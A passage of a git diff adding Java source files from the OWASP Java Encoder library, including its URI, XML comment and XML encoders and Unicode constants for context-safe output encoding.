+ * equivalent. For consistency, URI producers and normalizers should use uppercase hexadecimal digits for all percent-
+ * encodings."
+ */
+ static final char[] UHEX = "0123456789ABCDEF".toCharArray();
+
+ // ASCII table
+ // 0x20: ! " # $ % & ' ( ) * + , - . / 0 1 2 3 4 5 6 7 8 9 : ; < = > ?
+ // 0x40: @ A B C D E F G H I J K L M N O P Q R S T U V W X Y Z [ \ ] ^ _
+ // 0x60: ` a b c d e f g h i j k l m n o p q r s t u v w x y z { | } ~
+ // ASCII table of RFC 3986 "Unreserved Characters"
+ // 0x20: - . 0 1 2 3 4 5 6 7 8 9
+ // 0x40: A B C D E F G H I J K L M N O P Q R S T U V W X Y Z _
+ // 0x60: a b c d e f g h i j k l m n o p q r s t u v w x y z ~
+ // Note: (1L << n) - 1 is bit arithmetic to get n 1 bits.
+ // e.g. (1L << 10) = binary 10000000000
+ // binary 10000000000 = 1111111111
+ /**
+ * RFC 3986 Unreserved Characters. The first 64.
+ * <pre>
+ * unreserved = ALPHA / DIGIT / "-" / "." / "_" / "~"
+ * </pre>
+ */
+ static final long UNRESERVED_MASK_LOW
+ = (((1L << CHARS_0_TO_9) - 1) << '0') | (1L << '-') | (1L << '.');
+
+ /**
+ * RFC 3986 Unreserved Characters. The second 64.
+ * <pre>
+ * unreserved = ALPHA / DIGIT / "-" / "." / "_" / "~"
+ * </pre>
+ */
+ static final long UNRESERVED_MASK_HIGH
+ = (((1L << CHARS_A_TO_Z) - 1) << ('a' - LONG_BITS))
+ | (((1L << CHARS_A_TO_Z) - 1) << ('A' - LONG_BITS))
+ | (1L << ('_' - LONG_BITS)) | (1L << ('~' - LONG_BITS));
+
+ /**
+ * RFC 3986 Reserved Characters. The first 64.
+ * <pre>
+ * reserved = gen-delims / sub-delims
+ *
+ * gen-delims = ":" / "/" / "?" / "#" / "[" / "]" / "@"
+ *
+ * sub-delims = "!" / "$" / "&" / "'" / "(" / ")"
+ * / "*" / "+" / "," / ";" / "="
+ * </pre>
+ */
+ static final long RESERVED_MASK_LOW
+ = // gen-delims
+ (1L << ':') | (1L << '/') | (1L << '?') | (1L << '#')
+ | // sub-delims
+ (1L << '!') | (1L << '$') | (1L << '&') | (1L << '\'')
+ | (1L << '(') | (1L << ')') | (1L << '*') | (1L << '+')
+ | (1L << ',') | (1L << ';') | (1L << '=');
+
+ /**
+ * The second 64 RFC 3986 Reserved characters.
+ */
+ static final long RESERVED_MASK_HIGH
+ = // gen-delims
+ (1L << ('[' - LONG_BITS)) | (1L << (']' - LONG_BITS)) | (1L << ('@' - LONG_BITS));
+
+ /**
+ * Encoding mode of operation for URI encodes. The modes define which characters get encoded using %-encoding, and which do
+ * not.
+ */
+ public enum Mode {
+
+ /**
+ * In "component" mode, only the unreserved characters are left unescaped. Everything else is escaped.
+ */
+ COMPONENT(UNRESERVED_MASK_LOW, UNRESERVED_MASK_HIGH),
+ /**
+ * In "full" mode, all unreserved and reserved characters are left unescaped. Anything else is escaped.
+ */
+ FULL_URI(UNRESERVED_MASK_LOW | RESERVED_MASK_LOW,
+ UNRESERVED_MASK_HIGH | RESERVED_MASK_HIGH),;
+
+ /**
+ * The low bit-mask--copied into the _lowMask of the encoder.
+ */
+ final long _lowMask;
+ /**
+ * The high bit-mask--copied into the _highMask of the encoder.
+ */
+ final long _highMask;
+
+ /**
+ * Constructor to create a mode with the specified bit-masks.
+ *
+ * @param low the low bit-mask (characters 0 to 63)
+ * @param high the high bit-mask (characters 64 to 127)
+ */
+ Mode(long low, long high) {
+ _lowMask = low;
+ _highMask = high;
+ }
+
+ /**
+ * Accessor for the low bit-mask.
+ *
+ * @return _lowMask
+ */
+ long lowMask() {
+ return _lowMask;
+ }
+
+ /**
+ * Accessor for the high bit-mask.
+ *
+ * @return _highMask
+ */
+ long highMask() {
+ return _highMask;
+ }
+ }
+
+ /**
+ * The bit-mask of characters that do not need to be escaped, for characters with code-points in the range 0 to 63.
+ */
+ private final long _lowMask;
+ /**
+ * The bit-mask of characters that do not need to be escaped, for character with code-points in the range 64 to 127.
+ */
+ private final long _highMask;
+ /**
+ * The encoding mode for this encoder--used primarily for toString().
+ */
+ private final Mode _mode;
+
+ /**
+ * Constructor equivalent to @{code URIEncoder(Mode.FULL_URI)}.
+ */
+ URIEncoder() {
+ this(Mode.FULL_URI);
+ }
+
+ /**
+ * Constructor for the URIEncoder the specifies the encoding mode the URIEncoder will use.
+ *
+ * @param mode the encoding mode for this encoder.
+ */
+ URIEncoder(Mode mode) {
+ _mode = mode;
+ _lowMask = mode.lowMask();
+ _highMask = mode.highMask();
+ }
+
+ @Override
+ protected int maxEncodedLength(int n) {
+ // '\uffff' becomes 3 UTF-8 bytes, percent encoded to 9 characters.
+ //
+ // Note: Surrogate pairs (2 chars) become 4 UTF-8 or 12 characters,
+ // or 6 encoded characters per input char.
+
+ return n * MAX_ENCODED_CHAR_LENGTH;
+ }
+
+ @Override
+ protected int firstEncodedOffset(String input, int off, int len) {
+ final int n = off + len;
+ for (int i = off; i < n; ++i) {
+ char ch = input.charAt(i);
+ if (ch <= Unicode.DEL) {
+ if (!(ch < LONG_BITS ? (_lowMask & (1L << ch)) != 0 : (_highMask & (1L << (ch - LONG_BITS))) != 0)) {
+ return i;
+// } else {
+// // valid
+ }
+ } else {
+ return i;
+ }
+ }
+ return n;
+ }
+
+ @Override
+ protected CoderResult encodeArrays(CharBuffer input, CharBuffer output, boolean endOfInput) {
+ final char[] in = input.array();
+ final char[] out = output.array();
+ int i = input.arrayOffset() + input.position();
+ final int n = input.arrayOffset() + input.limit();
+ int j = output.arrayOffset() + output.position();
+ final int m = output.arrayOffset() + output.limit();
+
+ for (; i < n; ++i) {
+ char ch = in[i];
+
+ if (ch <= Unicode.DEL) {
+ if (ch < LONG_BITS ? (_lowMask & (1L << ch)) != 0 : (_highMask & (1L << (ch - LONG_BITS))) != 0) {
+ if (j >= m) {
+ return overflow(input, i, output, j);
+ }
+ out[j++] = ch;
+ } else {
+ // one UTF-8 byte
+ if (j + PERCENT_ENCODED_LENGTH > m) {
+ return overflow(input, i, output, j);
+ }
+ out[j++] = '%';
+ out[j++] = UHEX[ch >>> HEX_SHIFT];
+ out[j++] = UHEX[ch & HEX_MASK];
+ }
+ } else if (ch <= MAX_UTF8_2_BYTE) {
+ if (j + 2 * PERCENT_ENCODED_LENGTH > m) {
+ return overflow(input, i, output, j);
+ }
+ // two UTF-8 bytes
+ int b1 = UTF8_2_BYTE_FIRST_MSB | (ch >>> UTF8_SHIFT);
+ out[j++] = '%';
+ out[j++] = UHEX[b1 >>> HEX_SHIFT];
+ out[j++] = UHEX[b1 & HEX_MASK];
+ int b2 = UTF8_BYTE_MSB | (ch & UTF8_MASK);
+ out[j++] = '%';
+ out[j++] = UHEX[b2 >>> HEX_SHIFT];
+ out[j++] = UHEX[b2 & HEX_MASK];
+ } else if (ch < Character.MIN_HIGH_SURROGATE || ch > Character.MAX_LOW_SURROGATE) {
+ if (j + 3 * PERCENT_ENCODED_LENGTH > m) {
+ return overflow(input, i, output, j);
+ }
+ // three UTF-8 bytes
+ int b1 = UTF8_3_BYTE_FIRST_MSB | (ch >>> 2 * UTF8_SHIFT);
+ out[j++] = '%';
+ out[j++] = UHEX[b1 >>> HEX_SHIFT];
+ out[j++] = UHEX[b1 & HEX_MASK];
+ int b2 = UTF8_BYTE_MSB | ((ch >>> UTF8_SHIFT) & UTF8_MASK);
+ out[j++] = '%';
+ out[j++] = UHEX[b2 >>> HEX_SHIFT];
+ out[j++] = UHEX[b2 & HEX_MASK];
+ int b3 = UTF8_BYTE_MSB | (ch & UTF8_MASK);
+ out[j++] = '%';
+ out[j++] = UHEX[b3 >>> HEX_SHIFT];
+ out[j++] = UHEX[b3 & HEX_MASK];
+ } else if (ch <= Character.MAX_HIGH_SURROGATE) {
+ // surrogate pair: 2 UTF-16 => 4 UTF-8 bytes
+ if (i + 1 < n) {
+ if (Character.isLowSurrogate(in[i + 1])) {
+ if (j + 4 * PERCENT_ENCODED_LENGTH > m) {
+ return overflow(input, i, output, j);
+ }
+ int cp = Character.toCodePoint(ch, in[++i]);
+ int b1 = UTF8_4_BYTE_FIRST_MSB | (cp >>> 3 * UTF8_SHIFT);
+ out[j++] = '%';
+ out[j++] = UHEX[b1 >>> HEX_SHIFT];
+ out[j++] = UHEX[b1 & HEX_MASK];
+ int b2 = UTF8_BYTE_MSB | ((cp >>> 2 * UTF8_SHIFT) & UTF8_MASK);
+ out[j++] = '%';
+ out[j++] = UHEX[b2 >>> HEX_SHIFT];
+ out[j++] = UHEX[b2 & HEX_MASK];
+ int b3 = UTF8_BYTE_MSB | ((cp >>> UTF8_SHIFT) & UTF8_MASK);
+ out[j++] = '%';
+ out[j++] = UHEX[b3 >>> HEX_SHIFT];
+ out[j++] = UHEX[b3 & HEX_MASK];
+ int b4 = UTF8_BYTE_MSB | (cp & UTF8_MASK);
+ out[j++] = '%';
+ out[j++] = UHEX[b4 >>> HEX_SHIFT];
+ out[j++] = UHEX[b4 & HEX_MASK];
+ } else {
+ if (j >= m) {
+ return overflow(input, i, output, j);
+ }
+ out[j++] = INVALID_REPLACEMENT_CHARACTER;
+ }
+ } else if (endOfInput) {
+ if (j >= m) {
+ return overflow(input, i, output, j);
+ }
+ out[j++] = INVALID_REPLACEMENT_CHARACTER;
+ } else {
+ break;
+ }
+ } else {
+ // invalid (low surrogate without preceeding high surrogate)
+ if (j >= m) {
+ return overflow(input, i, output, j);
+ }
+ out[j++] = INVALID_REPLACEMENT_CHARACTER;
+ }
+ }
+
+ return underflow(input, i, output, j);
+ }
+
+ @Override
+ public String toString() {
+ return "URIEncoder(mode=" + _mode + ")";
+ }
+}
diff --git a/core/src/main/java/org/owasp/encoder/Unicode.java b/core/src/main/java/org/owasp/encoder/Unicode.java
new file mode 100644
index 0000000..3ad2edb
--- /dev/null
+++ b/core/src/main/java/org/owasp/encoder/Unicode.java
@@ -0,0 +1,95 @@
+// Copyright (c) 2012 Jeff Ichnowski
+// All rights reserved.
+//
+// Redistribution and use in source and binary forms, with or without
+// modification, are permitted provided that the following conditions
+// are met:
+//
+// * Redistributions of source code must retain the above
+// copyright notice, this list of conditions and the following
+// disclaimer.
+//
+// * Redistributions in binary form must reproduce the above
+// copyright notice, this list of conditions and the following
+// disclaimer in the documentation and/or other materials
+// provided with the distribution.
+//
+// * Neither the name of the OWASP nor the names of its
+// contributors may be used to endorse or promote products
+// derived from this software without specific prior written
+// permission.
+//
+// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
+// FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
+// COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,
+// INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+// (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+// HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
+// STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
+// ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
+// OF THE POSSIBILITY OF SUCH DAMAGE.
+package org.owasp.encoder;
+
+/**
+ * ASCII and Unicode constants.
+ *
+ * @author jeffi
+ */
+final class Unicode {
+
+ /**
+ * Highest ASCII (usually) valid ASCII char.
+ */
+ static final char MAX_ASCII = '~';
+
+ /**
+ * ASCII "DEL" character.
+ */
+ static final char DEL = 0x7f;
+
+ /**
+ * "Next Line" C1 control character.
+ */
+ static final char NEL = 0x85;
+
+ /**
+ * Highest C1 control character.
+ */
+ static final char MAX_C1_CTRL_CHAR = 0x9f;
+
+ /**
+ * Unicode line separator character, must be encoded in some contexts.
+ */
+ static final char LINE_SEPARATOR = '\u2028';
+
+ /**
+ * Unicode paragraph separator character, must be encoded in some contexts.
+ */
+ static final char PARAGRAPH_SEPARATOR = '\u2029';
+
+ /**
+ * Bit-mask for Unicode non-characaters (XXfffe and XXffff).
+ */
+ static final int NON_CHAR_MASK = 0xfffe;
+
+ /**
+ * Returns true if the argument is not a character according to the Unicode
+ * standard. Non-characters have the format XXfffe and XXffff, where XX is
+ * any code plane, and "fffe/ffff" is the low 16-bits in hex.
+ *
+ * @param cp the unicode code-point to check
+ * @return true if {@code cp} is not a character.
+ */
+ static boolean isNonCharacter(int cp) {
+ return (cp & NON_CHAR_MASK) == NON_CHAR_MASK;
+ }
+
+ /**
+ * No instances.
+ */
+ private Unicode() {
+ }
+}
diff --git a/core/src/main/java/org/owasp/encoder/UnsupportedContextException.java b/core/src/main/java/org/owasp/encoder/UnsupportedContextException.java
new file mode 100644
index 0000000..e904ee1
--- /dev/null
+++ b/core/src/main/java/org/owasp/encoder/UnsupportedContextException.java
@@ -0,0 +1,53 @@
+// Copyright (c) 2012 Jeff Ichnowski
+// All rights reserved.
+//
+// Redistribution and use in source and binary forms, with or without
+// modification, are permitted provided that the following conditions
+// are met:
+//
+// * Redistributions of source code must retain the above
+// copyright notice, this list of conditions and the following
+// disclaimer.
+//
+// * Redistributions in binary form must reproduce the above
+// copyright notice, this list of conditions and the following
+// disclaimer in the documentation and/or other materials
+// provided with the distribution.
+//
+// * Neither the name of the OWASP nor the names of its
+// contributors may be used to endorse or promote products
+// derived from this software without specific prior written
+// permission.
+//
+// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
+// FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
+// COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,
+// INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+// (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+// HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
+// STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
+// ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
+// OF THE POSSIBILITY OF SUCH DAMAGE.
+
+package org.owasp.encoder;
+
+/**
+ * UnsupportedContextException -- thrown when the encoding context
+ * specified is not known or supported.
+ *
+ * @author Jeff Ichnowski
+ */
+public class UnsupportedContextException extends RuntimeException {
+ /**
+ * Sole constructor.
+ *
+ * @param msg the exception message--includes the name of the
+ * unsupported context
+ */
+ public UnsupportedContextException(String msg) {
+ super(msg);
+ }
+}
diff --git a/core/src/main/java/org/owasp/encoder/XMLCommentEncoder.java b/core/src/main/java/org/owasp/encoder/XMLCommentEncoder.java
new file mode 100644
index 0000000..bda6ceb
--- /dev/null
+++ b/core/src/main/java/org/owasp/encoder/XMLCommentEncoder.java
@@ -0,0 +1,237 @@
+// Copyright (c) 2012 Jeff Ichnowski
+// All rights reserved.
+//
+// Redistribution and use in source and binary forms, with or without
+// modification, are permitted provided that the following conditions
+// are met:
+//
+// * Redistributions of source code must retain the above
+// copyright notice, this list of conditions and the following
+// disclaimer.
+//
+// * Redistributions in binary form must reproduce the above
+// copyright notice, this list of conditions and the following
+// disclaimer in the documentation and/or other materials
+// provided with the distribution.
+//
+// * Neither the name of the OWASP nor the names of its
+// contributors may be used to endorse or promote products
+// derived from this software without specific prior written
+// permission.
+//
+// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
+// FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
+// COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,
+// INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+// (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+// HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
+// STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
+// ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
+// OF THE POSSIBILITY OF SUCH DAMAGE.
+package org.owasp.encoder;
+
+import java.nio.CharBuffer;
+import java.nio.charset.CoderResult;
+
+/**
+ * XMLCommentEncoder -- Encodes for the XML/HTML comment context. The sequence "--" is not allowed in comments, and must be
+ * removed/replaced. We also must be careful of trailing hyphens at end of input, as they could combine with the external comment
+ * ending sequence "-->" to become "--->", which is also invalid. As with all XML-based context, invalid XML characters are not
+ * allowed.
+ *
+ * @author Jeff Ichnowski
+ */
+class XMLCommentEncoder extends Encoder {
+
+ /**
+ * This is the character used to replace a hyphen when a sequence of hypens is encountered.
+ */
+ static final char HYPHEN_REPLACEMENT = '~';
+
+ // Input:
+ // <!-- foo -- bar -->
+ // Possible Options:
+ // <!-- foo &ndash; bar -->
+ // <!-- foo == bar -->
+ // <!-- foo __ bar -->
+ // <!-- foo - - bar -->
+ // <!-- foo \u2010\u2010 bar --> (Unicode Hyphen)
+ // <!-- foo \u2013 bar --> (Unicode en-dash)
+ // Note: HTML comments differ, in that they cannot start with: ">", "->".
+ // On IE, "<!--[if ..." has special interpretation
+ // [2] Char ::= #x9 | #xA | #xD | [#x20-#xD7FF] | [#xE000-#xFFFD] | [#x10000-#x10FFFF]
+ @Override
+ protected int maxEncodedLength(int n) {
+ return n;
+ }
+
+ @Override
+ protected int firstEncodedOffset(String input, int off, int len) {
+ final int n = off + len;
+ for (int i = off; i < n; ++i) {
+ char ch = input.charAt(i);
+ if (ch <= Unicode.MAX_ASCII) {
+ if (ch == '-') {
+ if (i + 1 < n) {
+ if (input.charAt(i + 1) == '-') {
+ return i;
+// } else {
+// // valid
+ }
+ } else {
+ return i;
+ }
+ } else if (ch < ' ' && ch != '\n' && ch != '\r' && ch != '\t') {
+ return i;
+// } else {
+// // valid
+ }
+ } else if (ch < Character.MIN_HIGH_SURROGATE) {
+ if (ch <= Unicode.MAX_C1_CTRL_CHAR && ch != Unicode.NEL) {
+ return i;
+// } else {
+// // valid
+ }
+ } else if (ch <= Character.MAX_HIGH_SURROGATE) {
+ if (i + 1 < n && Character.isLowSurrogate(input.charAt(i + 1))) {
+ int cp = Character.toCodePoint(ch, input.charAt(i + 1));
+ if (Unicode.isNonCharacter(cp)) {
+ // noncharacter
+ return i;
+ }
+ ++i;
+ } else {
+ return i;
+ }
+ } else if (ch <= Character.MAX_LOW_SURROGATE || ch > '\ufffd'
+ || ('\ufdd0' <= ch && ch <= '\ufdef'))
+ {
+ return i;
+// } else {
+// // valid
+ }
+ }
+ return n;
+ }
+
+ @Override
+ protected CoderResult encodeArrays(CharBuffer input, CharBuffer output, boolean endOfInput) {
+ final char[] in = input.array();
+ final char[] out = output.array();
+ int i = input.arrayOffset() + input.position();
+ final int n = input.arrayOffset() + input.limit();
+ int j = output.arrayOffset() + output.position();
+ final int m = output.arrayOffset() + output.limit();
+
+ for (; i < n; ++i) {
+ char ch = in[i];
+ if (ch <= Unicode.MAX_ASCII) {
+ if (ch == '-') {
+ if (i + 1 < n) {
+ if (in[i + 1] == '-') {
+ if (j + 1 >= m) {
+ return overflow(input, i, output, j);
+ }
+ out[j++] = '-';
+ out[j++] = HYPHEN_REPLACEMENT;
+ ++i;
+ } else {
+ if (j >= m) {
+ return overflow(input, i, output, j);
+ }
+ out[j++] = '-';
+ }
+ } else if (endOfInput) {
+ if (j >= m) {
+ return overflow(input, i, output, j);
+ }
+ out[j++] = HYPHEN_REPLACEMENT;
+ } else {
+ // saw '-' at the end of the buffer, but this is not
+ // end of input, we need to see the next character
+ // before deciding what to do.
+ break;
+ }
+ } else if (ch > ' ' || ch == '\n' || ch == '\r' || ch == '\t') {
+ if (j >= m) {
+ return overflow(input, i, output, j);
+ }
+ out[j++] = ch;
+ } else {
+ if (j >= m) {
+ return overflow(input, i, output, j);
+ }
+ out[j++] = XMLEncoder.INVALID_CHARACTER_REPLACEMENT;
+ }
+ } else if (ch < Character.MIN_HIGH_SURROGATE) {
+ if (j >= m) {
+ return overflow(input, i, output, j);
+ }
+ if (ch > Unicode.MAX_C1_CTRL_CHAR || ch == Unicode.NEL) {
+ out[j++] = ch;
+ } else {
+ // C1 control code
+ out[j++] = XMLEncoder.INVALID_CHARACTER_REPLACEMENT;
+ }
+ } else if (ch <= Character.MAX_HIGH_SURROGATE) {
+ if (i + 1 < n) {
+ if (Character.isLowSurrogate(in[i + 1])) {
+ int cp = Character.toCodePoint(ch, in[i + 1]);
+ if (Unicode.isNonCharacter(cp)) {
+ // noncharacter
+ if (j >= m) {
+ return overflow(input, i, output, j);
+ }
+ out[j++] = XMLEncoder.INVALID_CHARACTER_REPLACEMENT;
+ ++i;
+ } else {
+ if (j + 1 >= m) {
+ return overflow(input, i, output, j);
+ }
+ out[j++] = ch;
+ out[j++] = in[++i];
+ }
+ } else {
+ // high without low
+ if (j >= m) {
+ return overflow(input, i, output, j);
+ }
+ out[j++] = XMLEncoder.INVALID_CHARACTER_REPLACEMENT;
+ }
+ } else if (endOfInput) {
+ // end of input, high without low = invalid
+ if (j >= m) {
+ return overflow(input, i, output, j);
+ }
+ out[j++] = XMLEncoder.INVALID_CHARACTER_REPLACEMENT;
+ } else {
+ break;
+ }
+ } else if (// low surrogate without preceding high surrogate
+ ch <= Character.MAX_LOW_SURROGATE
+ // or non-characters
+ || ch > '\ufffd'
+ || ('\ufdd0' <= ch && ch <= '\ufdef'))
+ {
+ if (j >= m) {
+ return overflow(input, i, output, j);
+ }
+ out[j++] = XMLEncoder.INVALID_CHARACTER_REPLACEMENT;
+ } else {
+ if (j >= m) {
+ return overflow(input, i, output, j);
+ }
+ out[j++] = ch;
+ }
+ }
+ return underflow(input, i, output, j);
+ }
+
+ @Override
+ public String toString() {
+ return "XMLCommentEncoder";
+ }
+}
diff --git a/core/src/main/java/org/owasp/encoder/XMLEncoder.java b/core/src/main/java/org/owasp/encoder/XMLEncoder.java
new file mode 100644
index 0000000..cec6205
--- /dev/null
+++ b/core/src/main/java/org/owasp/encoder/XMLEncoder.java
@@ -0,0 +1,394 @@
+// Copyright (c) 2012 Jeff Ichnowski
+// All rights reserved.
+//
+// Redistribution and use in source and binary forms, with or without
+// modification, are permitted provided that the following conditions
+// are met:
+//
+// * Redistributions of source code must retain the above
+// copyright notice, this list of conditions and the following
+// disclaimer.
+//
+// * Redistributions in binary form must reproduce the above
+// copyright notice, this list of conditions and the following
+// disclaimer in the documentation and/or other materials
+// provided with the distribution.
+//
+// * Neither the name of the OWASP nor the names of its
+// contributors may be used to endorse or promote products
+// derived from this software without specific prior written
+// permission.
+//
+// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
+// FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
+// COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,
+// INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+// (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+// HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
+// STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
+// ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
+// OF THE POSSIBILITY OF SUCH DAMAGE.
+package org.owasp.encoder;
+
+import java.nio.CharBuffer;
+import java.nio.charset.CoderResult;
+
+/**
+ * XMLEncoder -- encoder for XML attribute and content data. It uses XML entity
+ * entity ("&amp;...;") to encode valid but significant characters. Characters
+ * that are invalid according to the XML specification are replaced by a space
+ * character (U+0020). This encoder supports several modes of operation,
+ * allowing for varying contexts, such as: attribute data between single-quotes,
+ * attribute data between double-quotes, attribute data with indeterminate
+ * quotes, content, or a context safe for all of the above.
+ *
+ * @author jeffi
+ */
+class XMLEncoder extends Encoder {
+
+ // [2] Char ::= #x9 | #xA | #xD | [#x20-#xD7FF] | [#xE000-#xFFFD] | [#x10000-#x10FFFF]
+ // Unicode Noncharacters (Unicode Standard 16.7)
+ // U+FFFE & U+FFFF
+ // U+1FFFE & U+1FFFF
+ // U+2FFFE & U+2FFFF
+ // ...
+ // U+10FFFE & U+10FFFF
+ // U+FDD0 .. U+FDEF
+ // Control Characters
+ // U+0000 .. U+001F <-- CR, LF, TAB are in this range and ok.
+ // U+007f .. U+009F <-- U+85 = NEL (next line) = CR+LF in one = ok.
+ // Note: the standard says it is a good practice to replace noncharacters
+ // with U+FFFD "replacement character".
+ /**
+ * A bit-mask of valid characters with code-points in the range 0--63.
+ */
+ private static final long BASE_VALID_MASK
+ = (1L << '\t') | (1L << '\r') | (1L << '\n');
+
+ /**
+ * Maximum number of encoded characters per input character.
+ */
+ static final int MAX_ENCODED_CHAR_LENGTH = 5;
+ /**
+ * The encoded length of an ampersand.
+ */
+ static final int AMP_LENGTH = 5;
+ /**
+ * The encoded length of a less-than sign.
+ */
+ static final int LT_LENGTH = 4;
+ /**
+ * The encoded length of a greater-than sign.
+ */
+ static final int GT_LENGTH = 4;
+ /**
+ * The encoded length of an apostrophe.
+ */
+ static final int APOS_LENGTH = 5;
+ /**
+ * The encoded length of a double-quotation character.
+ */
+ static final int QUOT_LENGTH = 5;
+
+ /**
+ * An enum of supported "modes" of operation for the XMLEncoder.
+ */
+ enum Mode {
+
+ /**
+ * All significant characters are encoded (&amp; &lt; &gt; ' "). This
+ * mode is safe for use in either content or attributes. See note on
+ * {@link #CONTENT} for explanation of why '>' is encoded.
+ */
+ ALL("&<>\'\""),
+ /**
+ * Characters are encoded for content (a.k.a. "CharData"). This means
+ * &amp; &lt; and &gt;. Note: &gt; only requires encoding if it follows
+ * "]]". However for maximum compatibility and to avoid the overhead of
+ * looking for "]]", we just always encode '>' to '&amp;gt;'.
+ */
+ CONTENT("&<>"),
+ /**
+ * Characters are encoded for attribute values--either single or double
+ * quoted. This means the characters &amp; &lt ' and " are encoded.
+ * Note: &gt; is NOT encoded, and thus this mode is not suitable for
+ * content.
+ */
+ ATTRIBUTE("&<\'\""),
+ /**
+ * Characters are encoded for single-quoted attribute values. Thus, the
+ * same as {@link #ATTRIBUTE} except ' is not encoded.
+ */
+ SINGLE_QUOTED_ATTRIBUTE("&<\'"),
+ /**
+ * Characters are encoded for double-quoted attribute values. Thus, the
+ * same as {@link #ATTRIBUTE} except " is not encoded.
+ */
+ DOUBLE_QUOTED_ATTRIBUTE("&<\""),;
+
+ /**
+ * The bit-mask of characters that do not need encoding in this mode.
+ */
+ private final long _validMask;
+
+ /**
+ * Sole constructor.
+ *
+ * @param encodedChars -- a string of characters must be encoded in this
+ * mode. This string is converted to a bit-mask.
+ */
+ Mode(String encodedChars) {
+ long encodeMask = 0;
+ for (int i = 0, n = encodedChars.length(); i < n; ++i) {
+ encodeMask |= 1L << encodedChars.charAt(i);
+ }
+ _validMask = BASE_VALID_MASK | ((-1L << ' ') & ~(encodeMask));
+ }
+
+ /**
+ * Accessor for {@link #_validMask}.
+ *
+ * @return {@link #_validMask}
+ */
+ long validMask() {
+ return _validMask;
+ }
+ }
+
+ /**
+ * Character to use as a replacement for invalid characters (Not to be
+ * confused with characters that require encoding). Invalid characters have
+ * no encoding, and are not allowed in the context.
+ */
+ static final char INVALID_CHARACTER_REPLACEMENT = ' ';
+
+ /**
+ * The mask of valid characters extracted from the mode for efficiency.
+ */
+ private final long _validMask;
+ /**
+ * The mode of operation--only really stored to provide a relevant toString
+ * implementation.
+ */
+ private final Mode _mode;
+
+ /**
+ * Default constructor--equivalent to XMLEncoder(Mode.ALL).
+ */
+ XMLEncoder() {
+ this(Mode.ALL);
+ }
+
+ /**
+ * Creates an XMLEncoder for the specified mode constant.
+ *
+ * @param mode the mode of the encoder.
+ */
+ XMLEncoder(Mode mode) {
+ _mode = mode;
+ _validMask = mode.validMask();
+ }
+
+ @Override
+ public int maxEncodedLength(int n) {
+ // "&amp;" = 5 chars.
+ return n * MAX_ENCODED_CHAR_LENGTH;
+ }
+
+ @Override
+ public int firstEncodedOffset(String input, int off, int len) {
+ final int n = off + len;
+
+ for (int i = off; i < n; ++i) {
+ char ch = input.charAt(i);
+ if (ch < Unicode.DEL) {
+ if (ch <= '>' && (_validMask & (1L << ch)) == 0) {
+ // either needs encoding or is invalid
+ return i;
+// } else {
+// // valid
+ }
